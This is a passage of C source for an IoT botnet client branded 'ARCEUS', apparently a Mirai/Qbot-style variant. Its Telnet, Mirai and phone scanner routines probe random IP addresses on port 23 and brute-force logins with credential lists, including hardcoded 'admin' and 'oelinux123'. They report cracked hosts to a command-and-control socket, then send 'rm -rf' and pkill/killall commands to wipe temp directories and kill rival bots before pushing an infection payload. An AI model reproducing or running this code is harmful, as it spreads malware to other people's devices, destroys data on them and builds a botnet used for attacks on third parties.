  3487. fds[i].state = 0;
  3488. fds[i].complete = 1;
  3489. }
  3490. }
  3491. break;
  3492. case 5: {
  3493. if(send(fds[i].fd, "admin\r\n", 7, MSG_NOSIGNAL) < 0) {
  3494. fds[i].state = 0;
  3495. fds[i].complete = 1;
  3496. continue; }
  3497. fds[i].state = 6; }
  3498. break;
  3499. case 6: {
  3500. if (read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 312, advances2)) {
  3501. fds[i].tTimeout = time(NULL);
  3502. if (contains_fail(fds[i].sockbuf)) {
  3503. fds[i].state = 0;
  3504. } else {
  3505. sockprintf(mainCommSock, "[ARCEUS] Successfully Bruted. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3506. sockprintf(mainCommSock, "DICK %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3507. fds[i].state = 7;
  3508. } continue; }
  3509. if (fds[i].tTimeout + 7 < time(NULL)) {
  3510. fds[i].state = 0;
  3511. fds[i].complete = 1;
  3512. }
  3513. }
  3514. break;
  3515. case 7: {
  3516. RemoveTempDirs();
  3517. //sockprintf(mainCommSock, "[ BCM ] Removing Temp Directorys. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3518. //sockprintf(mainCommSock, "[ BCM ] Bot Killing. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3519.  
  3520. fds[i].tTimeout = time(NULL);
  3521. if(send(fds[i].fd, Busybox_Payload, strlen(Busybox_Payload), MSG_NOSIGNAL) < 0) {
  3522. sclose(fds[i].fd);
  3523. fds[i].state = 0;
  3524. fds[i].complete = 1;
  3525. continue; }
  3526. fds[i].complete = 3;
  3527. if(fds[i].tTimeout + 60 < time(NULL)) {
  3528. if(fds[i].complete !=3){
  3529. }
  3530. fds[i].state = 0;
  3531. fds[i].complete = 1;
  3532. }
  3533. break;
  3534. }
  3535. }
  3536. }
  3537. }
  3538. }
  3539. void TelnetScanner(int wait_usec, int maxfds){
  3540. int max = getdtablesize() - 100, i, res, num_tmps, j;
  3541. char buf[128], cur_dir;
  3542. if (max > maxfds)
  3543. max = maxfds;
  3544. fd_set fdset;
  3545. struct timeval tv;
  3546. socklen_t lon;
  3547. int valopt;
  3548. char line[256];
  3549. char* buffer;
  3550. struct sockaddr_in dest_addr;
  3551. dest_addr.sin_family = AF_INET;
  3552. dest_addr.sin_port = htons(23);
  3553. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  3554. buffer = malloc(SOCKBUF_SIZE + 1);
  3555. memset(buffer, 0, SOCKBUF_SIZE + 1);
  3556. struct telstate_t fds[max];
  3557. memset(fds, 0, max * (sizeof(int) + 1));
  3558. for(i = 0; i < max; i++)
  3559. {
  3560. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  3561. fds[i].complete = 1;
  3562. fds[i].sockbuf = buffer;
  3563. }
  3564. while(1) {
  3565. for(i = 0; i < max; i++) {
  3566. if(fds[i].tTimeout == 0) {
  3567. fds[i].tTimeout = time(NULL);
  3568. }
  3569. switch(fds[i].state) {
  3570. case 0:
  3571. {
  3572. if(fds[i].complete == 1)
  3573. {
  3574. char *tmp = fds[i].sockbuf;
  3575. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  3576. fds[i].sockbuf = tmp;
  3577. fds[i].ip = telnetfindARandomIP();
  3578. }
  3579. else if(fds[i].complete == 0)
  3580. {
  3581. fds[i].usernameInd++;
  3582. fds[i].passwordInd++;
  3583. if(fds[i].passwordInd == sizeof(Telnet_Passwords) / sizeof(char *))
  3584. {
  3585. fds[i].complete = 1;
  3586. continue;
  3587. }
  3588. if(fds[i].usernameInd == sizeof(Telnet_Usernames) / sizeof(char *))
  3589. {
  3590. fds[i].complete = 1;
  3591. continue;
  3592. }
  3593. }
  3594. dest_addr.sin_family = AF_INET;
  3595. dest_addr.sin_port = htons(23);
  3596. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  3597. dest_addr.sin_addr.s_addr = fds[i].ip;
  3598. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  3599. if(fds[i].fd == -1) continue;
  3600. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  3601. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  3602. {
  3603. reset_telstate(&fds[i]);
  3604. }
  3605. else
  3606. {
  3607. advance_telstate(&fds[i], 1);
  3608. }
  3609. }
  3610. break;
  3611. case 1:
  3612. {
  3613. FD_ZERO(&fdset);
  3614. FD_SET(fds[i].fd, &fdset);
  3615. tv.tv_sec = 0;
  3616. tv.tv_usec = wait_usec;
  3617. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  3618. if(res == 1) {
  3619. fds[i].tTimeout = 0;
  3620. lon = sizeof(int);
  3621. valopt = 0;
  3622. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  3623. if(valopt)
  3624. {
  3625. reset_telstate(&fds[i]);
  3626. }
  3627. else
  3628. {
  3629. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  3630. advance_telstate(&fds[i], 2);
  3631. }
  3632. continue;
  3633. }
  3634. else if(res == -1)
  3635. {
  3636. reset_telstate(&fds[i]);
  3637. continue;
  3638. }
  3639. if(fds[i].tTimeout + 7 < time(NULL))
  3640. {
  3641. reset_telstate(&fds[i]);
  3642. }
  3643. }
  3644. break;
  3645. case 2:
  3646. {
  3647. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  3648. {
  3649. fds[i].tTimeout = time(NULL);
  3650. if(contains_fail(fds[i].sockbuf))
  3651. {
  3652. advance_telstate(&fds[i], 0);
  3653. }
  3654. else
  3655. {
  3656. advance_telstate(&fds[i], 3);
  3657. }
  3658. continue;
  3659. }
  3660. if(fds[i].tTimeout + 7 < time(NULL))
  3661. {
  3662. reset_telstate(&fds[i]);
  3663. }
  3664. }
  3665. break;
  3666. case 3:
  3667. {
  3668. if(send(fds[i].fd, Telnet_Usernames[fds[i].usernameInd], strlen(Telnet_Usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  3669. {
  3670. reset_telstate(&fds[i]);
  3671. continue;
  3672. }
  3673. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  3674. {
  3675. reset_telstate(&fds[i]);
  3676. continue;
  3677. }
  3678. advance_telstate(&fds[i], 4);
  3679. }
  3680. break;
  3681. case 4:
  3682. {
  3683. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  3684. {
  3685. fds[i].tTimeout = time(NULL);
  3686. if(contains_fail(fds[i].sockbuf))
  3687. {
  3688. advance_telstate(&fds[i], 0);
  3689. }
  3690. else
  3691. {
  3692. advance_telstate(&fds[i], 5);
  3693. }
  3694. continue;
  3695. }
  3696. if(fds[i].tTimeout + 7 < time(NULL))
  3697. {
  3698. reset_telstate(&fds[i]);
  3699. }
  3700. }
  3701. break;
  3702. case 5:
  3703. {
  3704. if(send(fds[i].fd, Telnet_Passwords[fds[i].passwordInd], strlen(Telnet_Passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  3705. {
  3706. reset_telstate(&fds[i]);
  3707. continue;
  3708. }
  3709. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  3710. {
  3711. reset_telstate(&fds[i]);
  3712. continue;
  3713. }
  3714. advance_telstate(&fds[i], 6);
  3715. }
  3716. break;
  3717. case 6:
  3718. {
  3719. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances2))
  3720. {
  3721. fds[i].tTimeout = time(NULL);
  3722. if(contains_fail(fds[i].sockbuf))
  3723. {
  3724. advance_telstate(&fds[i], 0);
  3725. }
  3726. else if(contains_success(fds[i].sockbuf))
  3727. {
  3728. if(fds[i].complete == 2)
  3729. {
  3730. advance_telstate(&fds[i], 7);
  3731. }
  3732. else
  3733. {
  3734. sockprintf(mainCommSock, "\x1b[0;31m[ARCEUS] Successfully Bruted IP: \x1b[0;33m%s\x1b[0;31m Port: \x1b[0;33m23 \x1b[0;31mUsername: \x1b[0;33m%s \x1b[0;31mPassword: \x1b[0;33m%s\x1b[0;37m", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3735. sockprintf(mainCommSock, "DICK %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3736. advance_telstate(&fds[i], 7);
  3737. }
  3738. }
  3739. else
  3740. {
  3741. reset_telstate(&fds[i]);
  3742. }
  3743. continue;
  3744. }
  3745. if(fds[i].tTimeout + 7 < time(NULL))
  3746. {
  3747. reset_telstate(&fds[i]);
  3748. }
  3749. }
  3750. break;
  3751. case 7:
  3752. {
  3753. char RemoveTheTempDirs [80];
  3754. sprintf(RemoveTheTempDirs, "rm -rf %s;", Temp_Directorys);
  3755. if(send(fds[i].fd, RemoveTheTempDirs, strlen(RemoveTheTempDirs), MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]);continue; }
  3756. RemoveTempDirs();
  3757. //sockprintf(mainCommSock, "[ TELNET ] Removing Temp Directorys. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3758. char killtheproccesses[80];
  3759. sprintf(killtheproccesses, "pkill -9 %s;killall -9 %s;", Bot_Killer_Binarys, Bot_Killer_Binarys);
  3760. if(send(fds[i].fd, killtheproccesses, strlen(killtheproccesses), MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]);continue; }
  3761. //sockprintf(mainCommSock, "[ TELNET ] Bot Killing. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3762. advance_telstate(&fds[i], 8);
  3763. }
  3764. break;
  3765. case 8:
  3766. {
  3767. fds[i].tTimeout = time(NULL);
  3768. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0);
  3769. if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0);
  3770. if(send(fds[i].fd, Busybox_Payload, strlen(Busybox_Payload), MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]);continue; }
  3771. //sockprintf(mainCommSock, "[ TELNET ] Sending Infection Payload. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3772. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, "CONNECTED"))
  3773. {
  3774. if(strcasestr(fds[i].sockbuf, "CONNECTED") && fds[i].complete != 3)
  3775. {
  3776. //sockprintf(mainCommSock, "[ TELNET ] Infection Success. || IP: %s: || Port: 23 || Username: %s || Password: %s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3777. fds[i].complete = 3;
  3778. }
  3779. }
  3780. if(fds[i].tTimeout + 10 < time(NULL))
  3781. {
  3782. if(fds[i].complete!=3)
  3783. {
  3784. //sockprintf(mainCommSock, "[ TELNET ] Infection Failed. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3785. }
  3786. reset_telstate(&fds[i]);
  3787. }
  3788. break;
  3789. }
  3790. }
  3791. }
  3792. }
  3793. }
  3794. void MiraiScanner(int wait_usec, int maxfds){
  3795. int max = getdtablesize() - 100, i, res, num_tmps, j;
  3796. char buf[128], cur_dir;
  3797. if (max > maxfds)
  3798. max = maxfds;
  3799. fd_set fdset;
  3800. struct timeval tv;
  3801. socklen_t lon;
  3802. int valopt;
  3803. char line[256];
  3804. char* buffer;
  3805. struct sockaddr_in dest_addr;
  3806. dest_addr.sin_family = AF_INET;
  3807. dest_addr.sin_port = htons(23);
  3808. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  3809. buffer = malloc(SOCKBUF_SIZE + 1);
  3810. memset(buffer, 0, SOCKBUF_SIZE + 1);
  3811. struct telstate_t fds[max];
  3812. memset(fds, 0, max * (sizeof(int) + 1));
  3813. for(i = 0; i < max; i++) {
  3814. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  3815. fds[i].complete = 1;
  3816. fds[i].sockbuf = buffer;
  3817. }
  3818. while(1) {
  3819. for(i = 0; i < max; i++) {
  3820. if(fds[i].tTimeout == 0) {
  3821. fds[i].tTimeout = time(NULL);
  3822. }
  3823. switch(fds[i].state) {
  3824. case 0:
  3825. {
  3826. if(fds[i].complete == 1)
  3827. {
  3828. char *tmp = fds[i].sockbuf;
  3829. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  3830. fds[i].sockbuf = tmp;
  3831. fds[i].ip = miraifindARandomIP();
  3832. }
  3833. else if(fds[i].complete == 0)
  3834. {
  3835. fds[i].usernameInd++;
  3836. fds[i].passwordInd++;
  3837. if(fds[i].passwordInd == sizeof(Mirai_Passwords) / sizeof(char *))
  3838. {
  3839. fds[i].complete = 1;
  3840. }
  3841. if(fds[i].usernameInd == sizeof(Mirai_Usernames) / sizeof(char *))
  3842. {
  3843. fds[i].complete = 1;
  3844. continue;
  3845. }
  3846. }
  3847. dest_addr.sin_family = AF_INET;
  3848. dest_addr.sin_port = htons(23);
  3849. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  3850. dest_addr.sin_addr.s_addr = fds[i].ip;
  3851. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  3852. if(fds[i].fd == -1) continue;
  3853. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  3854. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  3855. {
  3856. reset_telstate(&fds[i]);
  3857. }
  3858. else
  3859. {
  3860. advance_telstate(&fds[i], 1);
  3861. }
  3862. }
  3863. break;
  3864. case 1:
  3865. {
  3866. FD_ZERO(&fdset);
  3867. FD_SET(fds[i].fd, &fdset);
  3868. tv.tv_sec = 0;
  3869. tv.tv_usec = wait_usec;
  3870. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  3871. if(res == 1)
  3872. {
  3873. fds[i].tTimeout = time(NULL);
  3874. lon = sizeof(int);
  3875. valopt = 0;
  3876. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  3877. if(valopt)
  3878. {
  3879. reset_telstate(&fds[i]);
  3880. }
  3881. else
  3882. {
  3883. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  3884. advance_telstate(&fds[i], 2);
  3885. }
  3886. continue;
  3887. }
  3888. else if(res == -1)
  3889. {
  3890. reset_telstate(&fds[i]);
  3891. continue;
  3892. }
  3893. if(fds[i].tTimeout + 7 < time(NULL))
  3894. {
  3895. reset_telstate(&fds[i]);
  3896. }
  3897. }
  3898. break;
  3899. case 2:
  3900. {
  3901. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  3902. {
  3903. fds[i].tTimeout = time(NULL);
  3904. if(contains_fail(fds[i].sockbuf))
  3905. {
  3906. advance_telstate(&fds[i], 0);
  3907. }
  3908. else
  3909. {
  3910. advance_telstate(&fds[i], 3);
  3911. }
  3912. continue;
  3913. }
  3914. if(fds[i].tTimeout + 7 < time(NULL))
  3915. {
  3916. reset_telstate(&fds[i]);
  3917. }
  3918. }
  3919. break;
  3920. case 3:
  3921. {
  3922. if(send(fds[i].fd, Mirai_Usernames[fds[i].usernameInd], strlen(Mirai_Usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  3923. {
  3924. reset_telstate(&fds[i]);
  3925. continue;
  3926. }
  3927. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  3928. {
  3929. reset_telstate(&fds[i]);
  3930. continue;
  3931. }
  3932. advance_telstate(&fds[i], 4);
  3933. }
  3934. break;
  3935. case 4:
  3936. {
  3937. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances))
  3938. {
  3939. fds[i].tTimeout = time(NULL);
  3940. if(contains_fail(fds[i].sockbuf))
  3941. {
  3942. advance_telstate(&fds[i], 0);
  3943. }
  3944. else
  3945. {
  3946. advance_telstate(&fds[i], 5);
  3947. }
  3948. continue;
  3949. }
  3950. if(fds[i].tTimeout + 7 < time(NULL))
  3951. {
  3952. reset_telstate(&fds[i]);
  3953. }
  3954. }
  3955. break;
  3956. case 5:
  3957. {
  3958. if(send(fds[i].fd, Mirai_Passwords[fds[i].passwordInd], strlen(Mirai_Passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  3959. {
  3960. reset_telstate(&fds[i]);
  3961. continue;
  3962. }
  3963. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  3964. {
  3965. reset_telstate(&fds[i]);
  3966. continue;
  3967. }
  3968. advance_telstate(&fds[i], 6);
  3969. }
  3970. break;
  3971. case 6:
  3972. {
  3973. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, advances2)) //waiting for response.
  3974. {
  3975. fds[i].tTimeout = time(NULL);
  3976. if(contains_fail(fds[i].sockbuf))
  3977. {
  3978. advance_telstate(&fds[i], 0);
  3979. }
  3980. else if(contains_success(fds[i].sockbuf))
  3981. {
  3982. if(fds[i].complete == 2)
  3983. {
  3984. advance_telstate(&fds[i], 7);
  3985. }
  3986. else
  3987. {
  3988. sockprintf(mainCommSock, "\x1b[0;31m[ARCEUS] Successfully Bruted IP: \x1b[0;33m%s\x1b[0;31m Port: \x1b[0;33m23 \x1b[0;31mUsername: \x1b[0;33m%s \x1b[0;31mPassword: \x1b[0;33m%s\x1b[0;37m", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3989. sockprintf(mainCommSock, "DICK %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  3990. advance_telstate(&fds[i], 7);
  3991. }
  3992. }
  3993. else
  3994. {
  3995. reset_telstate(&fds[i]);
  3996. }
  3997. continue;
  3998. }
  3999. if(fds[i].tTimeout + 7 < time(NULL))
  4000. {
  4001. reset_telstate(&fds[i]);
  4002. }
  4003. }
  4004. break;
  4005. case 7:
  4006. {
  4007. char RemoveTheTempDirs [80];
  4008. sprintf(RemoveTheTempDirs, "rm -rf %s;", Temp_Directorys);
  4009. if(send(fds[i].fd, RemoveTheTempDirs, strlen(RemoveTheTempDirs), MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]);continue; }
  4010. RemoveTempDirs();
  4011. //sockprintf(mainCommSock, "[ MIRAI ] Removing Temp Directorys. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4012. char killtheproccesses[80];
  4013. sprintf(killtheproccesses, "pkill -9 %s;killall -9 %s;", Bot_Killer_Binarys, Bot_Killer_Binarys);
  4014. if(send(fds[i].fd, killtheproccesses, strlen(killtheproccesses), MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]);continue; }
  4015. //sockprintf(mainCommSock, "[ MIRAI ] Bot Killing. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4016. advance_telstate(&fds[i], 8);
  4017. }
  4018. break;
  4019. case 8:
  4020. {
  4021. fds[i].tTimeout = time(NULL);
  4022. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0);
  4023. if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0);
  4024. if(send(fds[i].fd, Busybox_Payload, strlen(Busybox_Payload), MSG_NOSIGNAL) < 0) { reset_telstate(&fds[i]);continue; }
  4025. //sockprintf(mainCommSock, "[ MIRAI ] Sending Infection Payload. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Mirai_Usernames[fds[i].usernameInd], Mirai_Passwords[fds[i].passwordInd]);
  4026. //int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  4027. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, "connected"))
  4028. {
  4029. //char strcasestr (const char *big, const char *little)
  4030. if(strcasestr(fds[i].sockbuf, "CONNECTED") && fds[i].complete != 3)
  4031. {
  4032. //sockprintf(mainCommSock, "[ MIRAI ] Infection Success. || IP: %s: || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Mirai_Usernames[fds[i].usernameInd], Mirai_Passwords[fds[i].passwordInd]);
  4033. }
  4034. }
  4035. if(fds[i].tTimeout + 60 < time(NULL))
  4036. {
  4037. if(fds[i].complete!=3)
  4038. {
  4039. //sockprintf(mainCommSock, "[ MIRAI ] Infection Failed. || IP: %s || Port: 23 || Username: %s || Password: %s", get_telstate_host(&fds[i]), Mirai_Usernames[fds[i].usernameInd], Mirai_Passwords[fds[i].passwordInd]);
  4040. }
  4041. reset_telstate(&fds[i]);
  4042. }
  4043. break;
  4044. }
  4045. }
  4046. }
  4047. }
  4048. }
  4049. void PhoneScanner() {
  4050. int maxfds = 253, i, res, j, valopt;
  4051. int max = maxfds;
  4052. char buf[128], cur_dir;
  4053. fd_set fdset;
  4054. struct timeval tv;
  4055. socklen_t lon;
  4056. srand(time(NULL) ^ rand_cmwc());
  4057. char line[253];
  4058. char* buffer;
  4059. struct sockaddr_in dest_addr;
  4060. dest_addr.sin_family = AF_INET;
  4061. dest_addr.sin_port = htons(23);
  4062. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  4063. buffer = malloc(253 + 1);
  4064. memset(buffer, 0, 253 + 1);
  4065. struct telstate_t fds[max];
  4066. memset(fds, 0, max * (sizeof(int) + 1));
  4067. for(i = 0; i < max; i++) {
  4068. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  4069. fds[i].complete = 1;
  4070. fds[i].sockbuf = buffer; }
  4071. while(1) {
  4072. for(i = 0; i < max; i++) {
  4073. if(fds[i].tTimeout == 0) {
  4074. fds[i].tTimeout = time(NULL); }
  4075. switch(fds[i].state) {
  4076. case 0: {
  4077. if(fds[i].complete == 1) {
  4078. char *tmp = fds[i].sockbuf;
  4079. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  4080. fds[i].sockbuf = tmp;
  4081. fds[i].ip = PhoneScan(); }
  4082. dest_addr.sin_family = AF_INET;
  4083. dest_addr.sin_port = htons(23);
  4084. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  4085. dest_addr.sin_addr.s_addr = fds[i].ip;
  4086. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  4087. if(fds[i].fd == -1) continue;
  4088. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  4089. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  4090. sclose(fds[i].fd);
  4091. fds[i].complete = 1; }
  4092. else {
  4093. fds[i].state = 1;
  4094. fds[i].tTimeout = 0;
  4095. }
  4096. }
  4097. break;
  4098. case 1: {
  4099. FD_ZERO(&fdset);
  4100. FD_SET(fds[i].fd, &fdset);
  4101. tv.tv_sec = 0;
  4102. tv.tv_usec = 10000;
  4103. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  4104. if(res == 1) {
  4105. lon = sizeof(int);
  4106. valopt = 0;
  4107. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  4108. if(valopt) {
  4109. sclose(fds[i].fd);
  4110. fds[i].state = 0;
  4111. fds[i].complete = 1;
  4112. } else {
  4113. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  4114. fds[i].tTimeout = 0;
  4115. fds[i].bufUsed = 0;
  4116. memset(fds[i].sockbuf, 0, 253);
  4117. fds[i].state = 2;
  4118. } continue; }
  4119. else if(res == -1) {
  4120. sclose(fds[i].fd);
  4121. fds[i].state = 0;
  4122. fds[i].complete = 1;
  4123. continue; }
  4124. if(fds[i].tTimeout + 6 < time(NULL)) {
  4125. sclose(fds[i].fd);
  4126. fds[i].state = 0;
  4127. fds[i].complete = 1;
  4128. }
  4129. }
  4130. break;
  4131. case 2: {
  4132. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 253, phone)) {
  4133. if(contains_fail(fds[i].sockbuf)) {
  4134. fds[i].state = 0;
  4135. } else {
  4136. fds[i].state = 3; }
  4137. continue; }
  4138. if(fds[i].tTimeout + 6 < time(NULL)) {
  4139. fds[i].state = 0;
  4140. fds[i].complete = 1;
  4141. }
  4142. }
  4143. break;
  4144. case 3: {
  4145. if(send(fds[i].fd, "admin\r\n", 7, MSG_NOSIGNAL) < 0) {
  4146. fds[i].state = 0;
  4147. fds[i].complete = 1;
  4148. continue; }
  4149. fds[i].state = 4;
  4150. }
  4151. break;
  4152. case 4: {
  4153. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 253, phone)) {
  4154. if(contains_fail(fds[i].sockbuf)) {
  4155. fds[i].state = 0;
  4156. } else {
  4157. fds[i].state = 5; }
  4158. continue; }
  4159. if(fds[i].tTimeout + 6 < time(NULL)) {
  4160. fds[i].state = 0;
  4161. fds[i].complete = 1;
  4162. }
  4163. }
  4164. break;
  4165. case 5: {
  4166. if(send(fds[i].fd, "admin\r\n", 7, MSG_NOSIGNAL) < 0) {
  4167. fds[i].state = 0;
  4168. fds[i].complete = 1;
  4169. continue; }
  4170. fds[i].state = 6; }
  4171. break;
  4172. case 6: {
  4173. if (read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 253, advances2)) {
  4174. fds[i].tTimeout = time(NULL);
  4175. if (contains_fail(fds[i].sockbuf)) {
  4176. fds[i].state = 0;
  4177. } else {
  4178. sockprintf(mainCommSock, "\e[96m[PHONE] \e[97mFound And Infected A Phone \e[96m[%s]", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4179. sockprintf(mainCommSock, "DICK %s:%s:%s", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4180. fds[i].state = 7;
  4181. } continue; }
  4182. if (fds[i].tTimeout + 7 < time(NULL)) {
  4183. fds[i].state = 0;
  4184. fds[i].complete = 1;
  4185. }
  4186. }
  4187. break;
  4188. case 7: {
  4189. RemoveTempDirs();
  4190. //sockprintf(mainCommSock, "[ PHONE ] Removing Temp Directorys. || IP: %s || Port: 23 || Username: admin || Password: admin", get_telstate_host(&fds[i]), Telnet_Usernames[fds[i].usernameInd], Telnet_Passwords[fds[i].passwordInd]);
  4191. if(send(fds[i].fd, "su\r\n", 4, MSG_NOSIGNAL) < 0) {
  4192. fds[i].state = 0;
  4193. fds[i].complete = 1;
  4194. continue; }
  4195. fds[i].state = 8;
  4196. }
  4197. break;
  4198. case 8: {
  4199. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 253, phone)) {
  4200. if(contains_fail(fds[i].sockbuf)) {
  4201. fds[i].state = 0;
  4202. } else {
  4203. fds[i].state = 9; }
  4204. continue; }
  4205. if(fds[i].tTimeout + 6 < time(NULL)) {
  4206. fds[i].state = 0;
  4207. fds[i].complete = 1;
  4208. }
  4209. }
  4210. break;
  4211. case 9: {
  4212. if(send(fds[i].fd, "oelinux123\r\n", 12, MSG_NOSIGNAL) < 0) {
  4213. fds[i].state = 0;
  4214. fds[i].complete = 1;
  4215. continue; }
  4216. fds[i].state = 10;
  4217. }
  4218. break;
  4219. case 10: {
  4220. fds[i].tTimeout = time(NULL);
  4221. if(send(fds[i].fd, phonepayload, strlen(phonepayload), MSG_NOSIGNAL) < 0) {
  4222. sclose(fds[i].fd);
  4223. fds[i].state = 0;
  4224. fds[i].complete = 1;
  4225. continue; }
  4226. fds[i].complete = 3;
  4227. if(fds[i].tTimeout + 60 < time(NULL)) {
  4228. if(fds[i].complete !=3){
  4229. }
  4230. fds[i].state = 0;
  4231. fds[i].complete = 1;
  4232. }
  4233. break;
  4234. }
  4235. }
  4236. }
  4237. }
  4238. }
  4239. void HackaShit() {
  4240. char buf[128];
  4241. int max = 256, i, res, valopt;
  4242. fd_set fdset;
  4243. struct timeval tv;
  4244. socklen_t lon;
  4245. srand(time(NULL) ^ rand_cmwc());
  4246. struct sockaddr_in dest_addr;
